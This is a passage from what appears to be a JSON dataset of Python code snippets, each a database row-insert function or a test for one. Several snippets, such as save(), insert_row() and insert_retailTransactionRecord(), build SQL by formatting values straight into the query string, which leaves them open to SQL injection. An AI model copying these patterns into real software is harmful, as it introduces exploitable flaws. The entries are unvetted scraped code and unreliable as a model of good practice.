1)\\n for x in range(len(first_data)):\\n self.current_row += 1\\n first_data_string = first_data_string + \\\"{\\\\\\\"data\\\\\\\": \\\" + json.dumps(first_data[x]) + \\\", \\\\\\\"row_id\\\\\\\": \\\" + str(self.current_row) + \\\"}\\\\n\\\"\\n if self.__multi_append_row(first_data_string, first_path):\\n if self.__check_write_success_multi_insert(first_data_string, first_path, number_rows_to_insert, current_line):\\n pass\\n else:\\n raise Exception(\\\"There was a problem validating the write during multiple row insert.\\\")\\n else:\\n raise Exception(\\\"There was a problem inserting multiple rows.\\\")\\n total -= insert_number\\n print(str(static_total) + ' rows have been added.')\\n #If not multi-insert\\n else:\\n self.current_row += 1\\n if self.__scrub_data(data):\\n row_id = self.current_row\\n path = self.__data_file_for_row_id(row_id)\\n #Check that we aren't at max rows:\\n if self.current_row < self.max_rows:\\n if self.__insert_modify_data_file(path, data):\\n print('Row ' + str(row_id) + ' has been added.')\\n else:\\n raise Exception('There was a problem inserting row at ' + str(row_id) +'.')\\n else:\\n raise Exception('Sorry, the table, \\\\\\\"' + self.name + '\\\\\\\" is full.')\\n else:\\n raise Exception('Sorry, the data you tried to insert is invalid.')\",\n \"def insert(self, table, element):\\n\\n update = self.update(table, element)\\n if update:\\n return update\\n\\n fields = []\\n values = []\\n for key in element.keys():\\n fields.append(key)\\n values.append(element[key])\\n result = self.__insert(table, fields, values)\\n return result\",\n \"def _insert(self, object_arr):\\n _object = None\\n\\n try:\\n if not self._is_session_valid():\\n self._reset_session()\\n for obj in object_arr:\\n obj.setdefault(\\\"mode\\\", \\\"add\\\")\\n\\n _object = obj[\\\"instance\\\"]\\n if obj[\\\"mode\\\"] == \\\"merge\\\":\\n self._merge(_object)\\n elif obj[\\\"mode\\\"] == \\\"add\\\":\\n self._add(_object)\\n elif obj[\\\"mode\\\"] == \\\"merge_by_query\\\":\\n self._merge_by_query(obj)\\n else:\\n raise NotImplementedError(\\\"Invalid mode: {mode}\\\".format(mode=obj[\\\"mode\\\"]))\\n self._commit()\\n except DatabaseError.ConnectionError:\\n raise\\n except Exception:\\n self._rollback()\\n self._reset_session()\\n raise\",\n \"def post_single(self, obj):\\n\\t\\timport MySQLdb\\n\\t\\tobj_copy = {}\\n\\t\\t\\n\\t\\tcolumns = self.db.columns(obj['type'])\\n\\t\\t# copy valid columns\\n\\t\\tfor c in columns:\\n\\t\\t\\tif obj.get(c):\\n\\t\\t\\t\\tobj_copy[c] = obj.get(c)\\n\\n\\t\\tparts = {\\n\\t\\t\\t'tab': obj['type'],\\n\\t\\t\\t'cmd': self.post_action(obj)\\n\\t\\t}\\n\\n\\t\\tif parts['cmd'] in ('insert', 'replace'):\\n\\t\\t\\tparts['cols'] = '`, `'.join(obj_copy.keys())\\n\\t\\t\\tparts['vals'] = ('%s,'*len(obj_copy))[:-1]\\n\\t\\t\\tquery = \\\"\\\"\\\"%(cmd)s into `%(tab)s`(`%(cols)s`) \\n\\t\\t\\t\\tvalues (%(vals)s)\\\"\\\"\\\" % parts\\n\\t\\telse:\\n\\t\\t\\tparts['set'] = ', '.join(['`%s`=%s' % (key, '%s') for key in obj_copy.keys()])\\n\\t\\t\\tparts['name'] = obj['name'].replace(\\\"'\\\", \\\"\\\\'\\\")\\n\\t\\t\\tquery = \\\"\\\"\\\"update `%(tab)s` set %(set)s where name='%(name)s'\\\"\\\"\\\" % parts\\n\\t\\t\\n\\t\\tself.db.sql(query, tuple(obj_copy.values()))\",\n \"def insert(self):\\n pass\",\n \"def test_insert_many_tuple(self):\\n table = 'test_insert'\\n columns = ['col1', 'col2', 'col3']\\n values = [(1, 2, 3), (4, 5, 6), (7, 8, 9)]\\n\\n with self.dbh.table_recreate(table, columns, 'integer'):\\n try:\\n self.dbh.insert_many(table, columns, values)\\n res = self.dbh.select_all(table, columns)\\n except Exception:\\n self.dbh.rollback()\\n raise\\n\\n self.assertEqual(res, values)\",\n \"def _extract_and_insert(cursor, table, data, ignore_if_exists=True, **kwargs):\\n if ignore_if_exists:\\n return _insert_if_new(cursor, table, _subdict(_columns(cursor, table), data), **kwargs)\\n else:\\n return _insert_dict(cursor, table, _subdict(_columns(cursor, table), data), **kwargs)\",\n \"def insert(self):\\n sql = u'INSERT INTO %s' % self.table()\\n keys = []\\n values = []\\n format_values = []\\n for field in self.fields():\\n attr = object.__getattribute__(self, field)\\n if attr.auto_value:\\n continue\\n keys.append(field)\\n format_values.append(attr.format)\\n values.append(attr._value)\\n keys_str = u'( %s )' % u', '.join(keys)\\n values_str = u'VALUES( %s )' % u', '.join(format_values)\\n sql = '%s %s %s;' % (sql, keys_str, values_str)\\n connection.execute(sql, values)\\n primary_k = self.__class__.get_primary()\\n primary = object.__getattribute__(self, primary_k)\\n primary.value = connection.connection.insert_id()\",\n \"def test_dummydb_add_data_to_table(self):\\n db = DummyDB()\\n columns = {\\n \\\"one\\\": int,\\n \\\"two\\\": str,\\n \\\"three\\\": bool,\\n }\\n db.create_table(\\\"new_table\\\", columns)\\n db.insert(\\\"new_table\\\", one=1, two=\\\"haunted\\\", three=True)\\n result = db.select(\\\"new_table\\\", one=1)\\n self.assertEqual(result[0]['two'], \\\"haunted\\\")\",\n \"def insertRow(self, row, data):\\n newRowData = self.createRowData(data)\\n self.jobRow.insertRow(row, newRowData)\",\n \"def insert(self,table,values):\\n self.connect.execute(self.insert_disc[table],values)\\n self.connect.commit()\",\n \"def Insert(self):\\n sql = 'INSERT INTO %s ( %s ) VALUES ( %s )' % (\\n self.table_name,\\n ', '.join(self.values),\\n ', '.join(['?' for _ in self.values])\\n )\\n return Database().Execute(sql, tuple(self.values.values()))\",\n \"def make_insert_row(table_str, attribute_value_dict): #works\\n#Aanpassen zodat query niet uitgevoerd wordt als pk al bestaat\\n #initialize input for string formatting\\n attributes_string = \\\"(\\\"\\n values_list = []\\n #retrieve attributes and values from dictionary and add them to the string\\n for key in attribute_value_dict:\\n values_list += [attribute_value_dict[key]]\\n attributes_string += \\\"%s, \\\" % key\\n attributes_string = attributes_string[:(len(attributes_string)-2)]\\n attributes_string += ')'\\n values = str(tuple(values_list))\\n sql = \\\"\\\"\\\"INSERT INTO `%s` %s VALUES %s \\\"\\\"\\\" % (table_str, attributes_string, values)\\n return sql\",\n \"def insert(self, row: BaseTrackerRow) -> None:\\n assert isinstance(row, self._tracker_row)\\n row = [row.__dict__[\\\"_\\\" + col] for col in list(self._table.columns)]\\n self._table.loc[len(self._table)] = row\",\n \"def insert_rows(cursor, table_name, row_dict_list):\\n\\tkeys = row_dict_list[0].keys()\\n\\tcolumns = \\\", \\\".join(keys)\\n\\tvalues_template = \\\", \\\".join([\\\"?\\\"] * len(keys))\\n\\n\\tsql = \\\"INSERT INTO %s (%s) VALUES (%s)\\\" % \\\\\\n\\t\\t(table_name, columns, values_template)\\n\\ttuples = [tuple(row_dict[key] for key in keys) for row_dict in row_dict_list]\\n\\tcursor.executemany(sql, tuples)\",\n \"def insert_to_table(self, tableName, dataRow, colNames):\\n queryString = f\\\"INSERT INTO {tableName} VALUES \\\"\\n # building the Values list\\n valueString = \\\"\\\"\\n # looping \\n for value in dataRow:\",\n \"def insertRows(self, p_int, *__args): # real signature unknown; restored from __doc__ with multiple overloads\\r\\n pass\",\n \"def insert(self, data, table, **kwargs):\\n logging.info(f'Inserting into `{table}`')\\n\\n try:\\n data.to_sql(table, self.engine, **kwargs)\\n try:\\n self.execute(f'ALTER TABLE `{table}` ADD PRIMARY KEY (`id`);')\\n except:\\n pass\\n return True\\n except:\\n logging.exception('Something went wrong inserting. Check trace.')\\n return False\",\n \"def add_entry(db, table, columns, values):\\n mycursor = db.cursor()\\n\\n sql = \\\"INSERT INTO \\\" + table + \\\" (\\\" + parse_sql_param_from_array(columns) + \\\") VALUES (\\\" + parse_sql_param_from_array(values, escape=True) + \\\")\\\"\\n mycursor.execute(sql)\\n\\n db.commit()\",\n \"def test_query_simple_tuple(self):\\n tab = 'query_test'\\n cols = ['col1', 'col2']\\n rows_in = [(1, 2), (2, 4), (3, 6)]\\n\\n with self.dbh.table_recreate(tab, cols, 'integer'):\\n self.dbh.insert_many(tab, cols, rows_in)\\n rows_out = self.dbh.query_simple(tab, cols, rowtype=tuple)\\n self.assertEqual(set(rows_in), set(rows_out))\",\n \"def Insert_in_Transaction(db, params):\\r\\n \\r\\n try: \\r\\n db.Transaction.insert_one(\\r\\n {\\r\\n \\\"Open time\\\": params[0], \\r\\n \\\"High\\\": params[1], \\r\\n \\\"Low\\\": params[2], \\r\\n \\\"Open\\\": params[3], \\r\\n \\\"Close\\\": params[4], \\r\\n \\\"Volume\\\": params[5], \\r\\n \\\"Quote asset volume\\\": params[6], \\r\\n \\\"Weighted average\\\": params[7]\\r\\n }\\r\\n )\\r\\n \\r\\n except Exception as e:\\r\\n print(e)\",\n \"def save(self, data):\\n query = \\\"INSERT INTO {} (title, body, meetup_id, user_id) \\\\\\n VALUES('{}','{}','{}', '{}') RETURNING *\\\".format(self.table, data['title'], data['body'], data['meetup_id'], data['user_id'])\\n self.cur.execute(query)\\n result = self.cur.fetchone()\\n self.conn.commit()\\n return result\",\n \"def insert_into(self, **kwargs):\\n\\n if not self.worksheet:\\n raise AttributeError('Create a worksheet first!')\\n\\n ## TODO: Figure out how to get fields out of an empty table!\\n #for key in kwargs.keys():\\n # if not key in self.fields:\\n # raise KeyError('Table does not accept key \\\"%s\\\"' % key)\\n\\n row = Row(self)\\n\\n row.create(**kwargs)\\n\\n return row\",\n \"def insert_record(record, table):\\n\\n\\ttups = [(key, val) for key, val in record.iteritems()]\\n\\tkeys = [key for key, val in tups]\\n\\tvals = [val for key, val in tups]\\n\\n\\tconn = get_database_connection(port = 2001)\\n\\tcursor = conn.cursor()\\n\\n\\tnum_cols = len(keys)\\n\\tkey_str = ','.join(keys)\\n\\tval_str = ','.join(['%s'] * num_cols)\\n\\n\\tqry = \\\"REPLACE INTO %s (%s) VALUES (%s)\\\" % (table, key_str, val_str)\\n\\tcursor.execute(qry, vals)\\n\\n\\tconn.commit()\\n\\tcursor.close()\\n\\tconn.close()\",\n \"def insert_row(self, row_dict):\\n sql = self.commands.insert_row(\\n self.name,\\n self._join_cols(row_dict.keys()),\\n self._join_values(row_dict.values())\\n )\\n return self.execute(sql)[0][0]\",\n \"def do_insert_data(self, *args):\\n print(\\\"Provide data to insert\\\")\\n self.connection_obj.insert_into_table(**self.__class__.populate_data())\\n print(\\\"Data Insertion Successful\\\")\",\n \"def run_insert_example():\\n table = \\\"actors\\\"\\n insert_values = {\\n 'id': 3,\\n 'name': \\\"Matt\\\",\\n 'last_name': \\\"Smith\\\",\\n 'country': \\\"England\\\"}\\n print querify.insert_from_dict(table, insert_values)\\n\\n insert_col_list = [\\\"id\\\", \\\"name\\\", \\\"last_name\\\", \\\"country\\\"]\\n insert_val_list = [\\n [1, \\\"Chris\\\", \\\"Eccleston\\\", \\\"England\\\"],\\n [2, \\\"David\\\", \\\"Tennant\\\", \\\"Scotland\\\"],\\n [3, \\\"Matt\\\", \\\"Smith\\\", \\\"England\\\"]]\\n print querify.insert_from_list(table, insert_col_list, insert_val_list)\",\n \"def insert_data(self):\\n\\n pass\",\n \"def insert_one(self, data):\\n _client = self.client\\n _db = _client[self.database]\\n _col = _db[self.collection]\\n\\n x = _col.insert_one(data)\\n\\n return x\",\n \"def insert(self, sql):\\n try:\\n # Execute the SQL command\\n self.cursor.execute(sql)\\n # Commit your changes in the database\\n self.db.commit()\\n except:\\n # Rollback in case there is any error\\n self.db.rollback()\",\n \"def insert_line(self, t):\\n if type(t) == tuple:\\n t = [t]\\n\\n c = self.conn.cursor()\\n for l in t:\\n c.execute('INSERT INTO lines VALUES (?,?)', l[:2])\\n lineid = c.lastrowid\\n for s in l[2]:\\n try:\\n c.execute('insert into relation values (?,?)', (s, lineid))\\n except sqlite3.OperationalError as e:\\n print e.message\\n\\n self.conn.commit()\\n c.close()\",\n \"def construct_insert(self, info):\\n self.sql_type_ind = sql_type.INSERT\\n self.return_result = False\\n self.q_str = \\\"generate\\\"\\n\\n if \\\"items\\\" in info.keys() and len(info[\\\"items\\\"]) == 1 and\\\\\\n \\\"columns\\\" in info.keys() and isinstance(info[\\\"columns\\\"], dict):\\n self.columns = co.OrderedDict()\\n for key, val in info[\\\"columns\\\"].items():\\n self.columns[key] = val\\n\\n elif \\\"items\\\" in info.keys() and isinstance(info[\\\"items\\\"], dict) and\\\\\\n len(info[\\\"items\\\"]) > 1:\\n self.columns = co.OrderedDict()\\n for key, val in info[\\\"items\\\"].items():\\n if val != '':\\n self.columns[val] = key\\n else:\\n self.columns[key] = key\\n elif \\\"items\\\" in info.keys() and isinstance(info[\\\"items\\\"], list):\\n self.columns = co.OrderedDict()\\n for val in info[\\\"items\\\"]:\\n self.columns[val] = ''\",\n \"def insert_or_update(self, table, connection, row):\\n\\n # find line, if it exist\\n dbrow = self.find(connection, table, row)\\n\\n # TODO XXX use actual database function instead of this stupid thing\\n now = datetime.datetime.now()\\n\\n column_names = table.columns.keys()\\n\\n # UpdatedAt field configured ? Let's set the value in source hash\\n if self.updated_at_field in column_names:\\n row[self.updated_at_field] = now # XXX not pure ...\\n\\n # Update logic\\n if dbrow:\\n if not UPDATE in self.allowed_operations:\\n raise ProhibitedOperationError('UPDATE operations are not allowed by this transformation.')\\n\\n query = table.update().values(\\n **{col: row.get(col)\\n for col in self.get_columns_for(column_names, row, dbrow)}\\n ).where(and_(*(getattr(table.c, col) == row.get(col) for col in self.discriminant)))\\n\\n # INSERT\\n else:\\n if not INSERT in self.allowed_operations:\\n raise ProhibitedOperationError('INSERT operations are not allowed by this transformation.')\\n\\n if self.created_at_field in column_names:\\n row[self.created_at_field] = now # XXX UNPURE\\n else:\\n if self.created_at_field in row:\\n del row[self.created_at_field] # UNPURE\\n\\n query = table.insert().values(**{col: row.get(col) for col in self.get_columns_for(column_names, row)})\\n\\n # Execute\\n try:\\n connection.execute(query)\\n except Exception:\\n connection.rollback()\\n raise\\n\\n # Increment stats TODO\\n # if dbrow:\\n # self._output._special_stats[UPDATE] += 1\\n # else:\\n # self._output._special_stats[INSERT] += 1\\n\\n # If user required us to fetch some columns, let's query again to get their actual values.\\n if self.fetch_columns and len(self.fetch_columns):\\n if not dbrow:\\n dbrow = self.find(row)\\n if not dbrow:\\n raise ValueError('Could not find matching row after load.')\\n\\n for alias, column in self.fetch_columns.items():\\n row[alias] = dbrow[column]\\n\\n return row\",\n \"def test_inserts_w_all_nulls(\\n self, connection, metadata, sort_by_parameter_order, datatype\\n ):\\n t = Table(\\n \\\"t\\\",\\n metadata,\\n Column(\\\"id\\\", Integer, Identity(), primary_key=True),\\n Column(\\\"data\\\", datatype),\\n )\\n metadata.create_all(connection)\\n result = connection.execute(\\n insert(t).returning(\\n t.c.id,\\n sort_by_parameter_order=bool(sort_by_parameter_order),\\n ),\\n [{\\\"data\\\": None}, {\\\"data\\\": None}, {\\\"data\\\": None}],\\n )\\n eq_(set(result), {(1,), (2,), (3,)})\",\n \"def multiple_insert(self, tablename, values, seqname=None, _test=False): \\n if not values:\\n return []\\n \\n if not self.supports_multiple_insert:\\n out = [self.insert(tablename, seqname=seqname, _test=_test, **v) for v in values]\\n if seqname is False:\\n return None\\n else:\\n return out\\n \\n keys = values[0].keys()\\n #@@ make sure all keys are valid\\n\\n for v in values:\\n if v.keys() != keys:\\n raise ValueError, 'Not all rows have the same keys'\\n\\n sql_query = SQLQuery('INSERT INTO %s (%s) VALUES ' % (tablename, ', '.join(keys)))\\n\\n for i, row in enumerate(values):\\n if i != 0:\\n sql_query.append(\\\", \\\")\\n SQLQuery.join([SQLParam(row[k]) for k in keys], sep=\\\", \\\", target=sql_query, prefix=\\\"(\\\", suffix=\\\")\\\")\\n \\n if _test: return sql_query\\n\\n db_cursor = self._db_cursor()\\n if seqname is not False: \\n sql_query = self._process_insert_query(sql_query, tablename, seqname)\\n\\n if isinstance(sql_query, tuple):\\n # for some databases, a separate query has to be made to find \\n # the id of the inserted row.\\n q1, q2 = sql_query\\n self._db_execute(db_cursor, q1)\\n self._db_execute(db_cursor, q2)\\n else:\\n self._db_execute(db_cursor, sql_query)\\n\\n try: \\n out = db_cursor.fetchone()[0]\\n out = range(out-len(values)+1, out+1) \\n except Exception: \\n out = None\\n\\n if not self.ctx.transactions: \\n self.ctx.commit()\\n return out\",\n \"def insert(self, table, **kwargs):\\n if 'creator' in self.get_columns(table):\\n kwargs.setdefault('creator', self.user_id)\\n if 'uuid' in self.get_columns(table):\\n generated_uuid = (table == 'concept' and\\n (str(kwargs['concept_id']) + 'A'*36)[:36] or uuid.uuid4())\\n kwargs.setdefault('uuid', generated_uuid)\\n\\n columns = kwargs.keys()\\n values = kwargs.values()\\n placeholders = ['%s'] * len(values)\\n if 'date_created' in self.get_columns(table):\\n columns += ['date_created']\\n placeholders += ['now()']\\n\\n self.db.execute(\\n 'insert into %s (%s) values (%s)' %\\n (table, ', '.join(columns), ', '.join(placeholders)), *values)\\n if table + '_id' in self.get_columns(table):\\n return self.db.get(table + '_id', uuid=kwargs['uuid'])\",\n \"def _bulk_add_rows(self, converted) :\\n\\n insert_sql = 'INSERT INTO \\\"%s\\\" VALUES (%s)' % (self.name, ','.join(['?'] * len(self.cols)))\\n cur = self.con.cursor()\\n cur.executemany(insert_sql, converted)\",\n \"def insert_row(conn, episode_info):\\n\\tp_key = get_p_key(episode_info)\\n\\t\\n\\tinsert_statement = f'INSERT INTO shows (p_key, show_stub, show_name, season, episode_number, episode_title watched_status, hidden_status) VALUES (\\\\\\\"{p_key}\\\\\\\", \\\\\\\"{episode_info[\\\"show_stub\\\"]}\\\\\\\", \\\\\\\"{episode_info[\\\"show_name\\\"]}\\\\\\\", {episode_info[\\\"season\\\"]}, {episode_info[\\\"episode_number\\\"]}, {episode_info[\\\"episode_title\\\"]}, {episode_info[\\\"watched_status\\\"]}, {episode_info[\\\"hidden_status\\\"]});'\\n\\t\\n\\texecute_sql(conn, insert_statement)\",\n \"def populate_table(database, table, data):\\n\\n for row in data:\\n database.session.add(table(row))\\n database.session.commit()\",\n \"def insert_rows(items):\\n # Initialize key variables\\n _rows = []\\n uniques = {}\\n all_kvs = []\\n\\n # Make list if not so\\n if isinstance(items, list) is False:\\n items = [items]\\n\\n # Create a single list of key-value pairs.\\n # Add them to a dict to make the pairs unique.\\n for item in items:\\n if isinstance(item, list):\\n all_kvs.extend(item)\\n else:\\n all_kvs.append(item)\\n for _kv in all_kvs:\\n uniques[_kv] = None\\n\\n # Insert the key-value pairs into the database\\n for (key, value), _ in uniques.items():\\n # Skip pre-existing pairs\\n if bool(pair_exists(key, value)) is True:\\n continue\\n\\n # Add values to list for future insertion\\n _row = Pair(key=key.encode(), value=value.encode())\\n _rows.append(_row)\\n\\n if bool(_rows) is True:\\n with db.db_modify(20007, die=True) as session:\\n session.add_all(_rows)\",\n \"def insert(self, i, row, default=None):\\n try: row = [v for v in row] # Creates a copy of the row (fast + safe for generators and Columns).\\n except:\\n raise TypeError, \\\"Table.insert(x): x must be list\\\"\\n list.insert(self, i, row)\\n m = max((len(self) > 1 and self._m or 0, len(row)))\\n if len(row) < m:\\n row.extend([default] * (m-len(row)))\\n if self._m < m:\\n # The given row might have more columns than the rows in the table.\\n # Performance takes a hit when these rows have to be expanded:\\n for row in self:\\n if len(row) < m:\\n row.extend([default] * (m-len(row)))\\n self._m = m\",\n \"def insert_data(db, metadata, data):\\n with Tx(db) as c:\\n lock_tables(c)\\n metadata['set_id'] = _insert_metadata(c, metadata)\\n\\n data_iterator = iter(data)\\n first_row = next(data_iterator)\\n headers = list(first_row.keys())\\n for table in _tables_from_headers(headers):\\n _insert_data_rows(c, table, metadata, chain([first_row], data_iterator))\",\n \"def add_row(self, table, row_dict):\\n self.open_db()\\n for k, v in six.iteritems(row_dict):\\n table.row[k] = v\\n table.row.append()\\n table.flush()\",\n \"def insert(self, tname, valdict, cols = None):\\n icmd, vals = make_insert_command(tname, valdict, cols)\\n self.write_curs.execute(icmd, vals)\",\n \"def test_insert_or_update_query(self):\\n\\n row = (\\n 'source',\\n 'signal',\\n 'time_type',\\n 'geo_type',\\n 'time_value',\\n 'geo_value',\\n 'value',\\n 'stderr',\\n 'sample_size',\\n )\\n mock_connector = MagicMock()\\n database = Database()\\n database.connect(connector_impl=mock_connector)\\n\\n database.insert_or_update(*row)\\n\\n connection = mock_connector.connect()\\n cursor = connection.cursor()\\n self.assertTrue(cursor.execute.called)\\n\\n sql, args = cursor.execute.call_args[0]\\n self.assertEqual(args, row)\\n\\n sql = sql.lower()\\n self.assertIn('insert into', sql)\\n self.assertIn('`covidcast`', sql)\\n self.assertIn('unix_timestamp', sql)\\n self.assertIn('on duplicate key update', sql)\",\n \"def test_issue_288(self):\\n conn = self.connect()\\n cursor = conn.cursor()\\n data = [(0, \\\"bob\\\", 21, 123), (1, \\\"jim\\\", 56, 45), (2, \\\"fred\\\", 100, 180)]\\n cursor.executemany(\\n \\\"\\\"\\\"insert\\ninto bulkinsert (id, name,\\nage, height)\\nvalues (%s,\\n%s , %s,\\n%s ) on duplicate key update\\nage = values(age)\\n \\\"\\\"\\\",\\n data,\\n )\\n self.assertEqual(\\n cursor._executed.strip(),\\n bytearray(\\n b\\\"\\\"\\\"insert\\ninto bulkinsert (id, name,\\nage, height)\\nvalues (0,\\n'bob' , 21,\\n123 ),(1,\\n'jim' , 56,\\n45 ),(2,\\n'fred' , 100,\\n180 ) on duplicate key update\\nage = values(age)\\\"\\\"\\\"\\n ),\\n )\\n cursor.execute(\\\"commit\\\")\\n self._verify_records(data)\",\n \"def _addObject(self, row):\\n if row.has_key('id'):\\n txn_id = row.get('id')\\n\\n # increment transaction id\\n prefix = self.context.getLedger().getTransactionPrefix()\\n txn_number = int(txn_id.replace(prefix, ''))\\n if self.context.getLedger().getTransactionID() < txn_number:\\n self.context.getLedger().setTransactionID(txn_number)\\n\\n else:\\n txn_id = self.context.generateUniqueId(type_name='Transaction')\\n\\n # create transaction if it doesn't exist\\n if not self.context.hasObject(txn_id):\\n self.context.invokeFactory(type_name='Transaction', id=txn_id,\\n title=row['title'], effectiveDate=row['effectiveDate'])\\n\\n txn = self.context[txn_id]\\n\\n # lookup account\\n pc = getToolByName(self.context, 'portal_catalog')\\n brains = pc(id=row['Account'])\\n __traceback_info__ = str(row)\\n assert len(brains) == 1\\n row['Account'] = brains[0].getObject()\\n\\n # create transaction entry\\n entry_id = txn.generateUniqueId('TransactionEntry')\\n entry = TransactionEntry(entry_id)\\n txn._setObject(entry_id, entry)\\n entry = txn._getOb(entry_id)\\n\\n row['id'] = entry_id\\n entry.edit(**row)\",\n \"def test_insert(self):\\n query = \\\"insert into cds values(%s,%s,%s,%s)\\\"\\n values = (109876,\\\"cinderella\\\",\\\"big 5\\\",5)\\n self.a.insert(query,values)\\n query1 = \\\"select * from cds where id=109876\\\"\",\n \"def insert_retailTransactionRecord(cursor, retailTransactionObject):\\n last_row_id = -1;\\n query = \\\"\\\"\\\"\\n INSERT INTO transactions(\\n transaction_id,\\n unit_id,\\n workstation_id,\\n sequence_id,\\n begin_date_time,\\n end_date_time,\\n currency,\\n quantity,\\n extended_amount,\\n net_amount,\\n training_mode_flag\\n )\\n VALUES(\\n '{0.id}',\\n {0.unit_id},\\n {0.workstation_id},\\n {0.sequence_id},\\n '{0.start_dtime}',\\n '{0.end_dtime}',\\n '{0.currency}',\\n {0.quantity},\\n {0.extended_amount},\\n {0.transaction_net_amount},\\n {0.training_mode_flag}\\n )\\n \\\"\\\"\\\".format(retailTransactionObject)\\n try:\\n cursor.execute(query)\\n last_row_id = cursor.lastrowid\\n except DBError as err:\\n print(err)\\n finally:\\n return last_row_id\",\n \"def insert_db(table, schema, value):\\n cursor.execute(schema, value)\\n db.commit()\\n print(cursor.rowcount, \\\"record inserted into db: \\\" + table)\",\n \"def insert(self):\\n self.getDbRecord().insert()\\n\\n return\",\n \"def insertQuery(self, master, row_num):\\n pass\",\n \"def add(table, record):\\n\\n table.append(record)\\n\\n return table\",\n \"def add(self, recordid, tablerow_object, insupdel=0):\\n try:\\n # Add a statement\\n # with recordid\\n if insupdel == 0:\\n self.statements_insert.append([recordid, tablerow_object])\\n elif insupdel == 1:\\n self.statements_update.append([recordid, tablerow_object])\\n elif insupdel == 2:\\n self.statements_delete.append([recordid, tablerow_object])\\n except Exception as ex:\\n print \\\"Error adding statement for\\\", self.table.__tablename__, \\\": \\\", ex\",\n \"def test_point_type_insert_select_none_in_tuple_type(self):\\n point_table = self.classes.PointTable\\n session = Session(bind=self.bind)\\n session.add(point_table(id=3, ptest=(None, None)))\\n session.commit()\\n session.close()\\n\\n res = session.query(point_table).filter_by(id=3)\\n session.close()\\n\\n expected = None\\n assert expected == res[0].ptest\",\n \"async def insert_one(self, model):\\n\\n pass\",\n \"async def _insert_stmt(self):\\n raise NotImplementedError\",\n \"def insertRow(self, index, *row):\\n if ((len(row) == 1) and (type(row[0]) in MATRIX_VALID_COLLECTIONS)):\\n row = row[0]\\n if self._width:\\n if not (len(row) == self._width):\\n raise ValueError('Improper length for new row: %d, should be %d' % (len(row), self._width))\\n else:\\n self._width = len(row)\\n self._height += 1\\n # make a deep copy\\n newrow = list()\\n for item in row:\\n if not (type(item) in MATRIX_VALID_TYPES):\\n message = \\\"Values must be of type \\\"\\n for t in range(len(MATRIX_VALID_TYPENAMES)):\\n if t:\\n message += ' or '\\n message += \\\"'%s'\\\" % MATRIX_VALID_TYPENAMES[t]\\n raise TypeError(message)\\n newrow.append(item)\\n self._value.insert(index, newrow)\",\n \"def insert_data(stored_data, table_name):\\r\\n for item in stored_data:\\r\\n cursor.execute('''INSERT INTO {} VALUES(?, ?, ?, ?)'''.format(table_name), item)\",\n \"def insert(self, row_values):\\n if len(row_values) != len(self.columns):\\n raise TypeError(\\\"wrong number of elements\\\")\\n\\n self.rows += [dict(zip(self.columns, row_values))]\",\n \"def insert(self, field, *values):\\n current_values = self.get_field(field)\\n if isinstance(current_values, dict):\\n return current_values\\n elif isinstance(current_values, InstrumentedList):\\n try:\\n current_values.extend(list(values))\\n except Exception as e:\\n return {\\n \\\"message\\\": \\\"Ensure the values you're inserting are valid.\\\",\\n \\\"help\\\": \\\"The objects should relate to the inserted field.\\\",\\n \\\"exception\\\": str(e)\\n }\\n self.save()\\n try:\\n setattr(self, field, values[0])\\n except Exception as e:\\n return {\\n \\\"message\\\": \\\"Ensure the values you're inserting are valid.\\\",\\n \\\"help\\\": \\\"The objects should relate to the inserted field.\\\",\\n \\\"exception\\\": str(e)\\n }\\n self.save()\",\n \"def insert_values(table_, values):\\n\\n # verify implicit_returning is working\\n if (\\n connection.dialect.insert_returning\\n and table_.implicit_returning\\n and not connection.dialect.postfetch_lastrowid\\n ):\\n ins = table_.insert()\\n comp = ins.compile(connection, column_keys=list(values))\\n if not set(values).issuperset(\\n c.key for c in table_.primary_key\\n ):\\n is_(bool(comp.returning), True)\\n\\n result = connection.execute(table_.insert(), values)\\n ret = values.copy()\\n\\n ipk = result.inserted_primary_key\\n for col, id_ in zip(table_.primary_key, ipk):\\n ret[col.key] = id_\\n\\n if result.lastrow_has_defaults():\\n criterion = and_(\\n *[\\n col == id_\\n for col, id_ in zip(\\n table_.primary_key, result.inserted_primary_key\\n )\\n ]\\n )\\n row = connection.execute(\\n table_.select().where(criterion)\\n ).first()\\n for c in table_.c:\\n ret[c.key] = row._mapping[c]\\n return ret, ipk\",\n \"def insert_values(table_, values):\\n\\n # verify implicit_returning is working\\n if (\\n connection.dialect.insert_returning\\n and table_.implicit_returning\\n and not connection.dialect.postfetch_lastrowid\\n ):\\n ins = table_.insert()\\n comp = ins.compile(connection, column_keys=list(values))\\n if not set(values).issuperset(\\n c.key for c in table_.primary_key\\n ):\\n is_(bool(comp.returning), True)\\n\\n result = connection.execute(table_.insert(), values)\\n ret = values.copy()\\n\\n ipk = result.inserted_primary_key\\n for col, id_ in zip(table_.primary_key, ipk):\\n ret[col.key] = id_\\n\\n if result.lastrow_has_defaults():\\n criterion = and_(\\n *[\\n col == id_\\n for col, id_ in zip(\\n table_.primary_key, result.inserted_primary_key\\n )\\n ]\\n )\\n row = connection.execute(\\n table_.select().where(criterion)\\n ).first()\\n for c in table_.c:\\n ret[c.key] = row._mapping[c]\\n return ret, ipk\",\n \"def insert(self, table, value):\\n col_name = self.table_cols[table][1:]\\n sql = \\\"INSERT INTO %s(%s) VALUES (%s)\\\" % (table, str(','.join(col_name)), array_join(value, ','))\\n Log.debug('DB -> %s' % sql)\\n self.execute(sql)\",\n \"def single_insert(conn, insert_req):\\n cursor = conn.cursor()\\n try:\\n cursor.execute(insert_req)\\n conn.commit()\\n except (Exception, psycopg2.DatabaseError) as error:\\n print(\\\"Error: %s\\\" % error)\\n conn.rollback()\\n cursor.close()\\n return 1\\n cursor.close()\",\n \"def insert(self, data):\\n\\n if not data:\\n raise ValueError('invalid data')\\n\\n # TODO: validate and insert data into model\",\n \"def addRow(self, row_i, data_tuple, start_col, sheet):\\r\\n col_n = len(data_tuple)\\r\\n last_col = start_col + col_n - 1\\r\\n insert_range = self.getRangeByCells((row_i, start_col), (row_i, last_col), sheet)\\r\\n insert_range.Value = data_tuple\",\n \"def append_row(self):\\r\\n values = []\\r\\n vals_to_insert = ''\\r\\n\\r\\n for key in Output.COLUMNS:\\r\\n values.append(str(self[key]))\\r\\n\\r\\n # Replace any Quotes in parsed record with double quotes\\r\\n for i in values:\\r\\n vals_to_insert += i.replace('\\\"', '\\\"\\\"') + '\\\",\\\"'\\r\\n\\r\\n vals_to_insert = '\\\"' + vals_to_insert[:-3] + '\\\"'\\r\\n insert_sqlite_db(vals_to_insert)\",\n \"def dbinsert(db,table,**assignments):\\n cols = \\\"\\\"\\n vals = 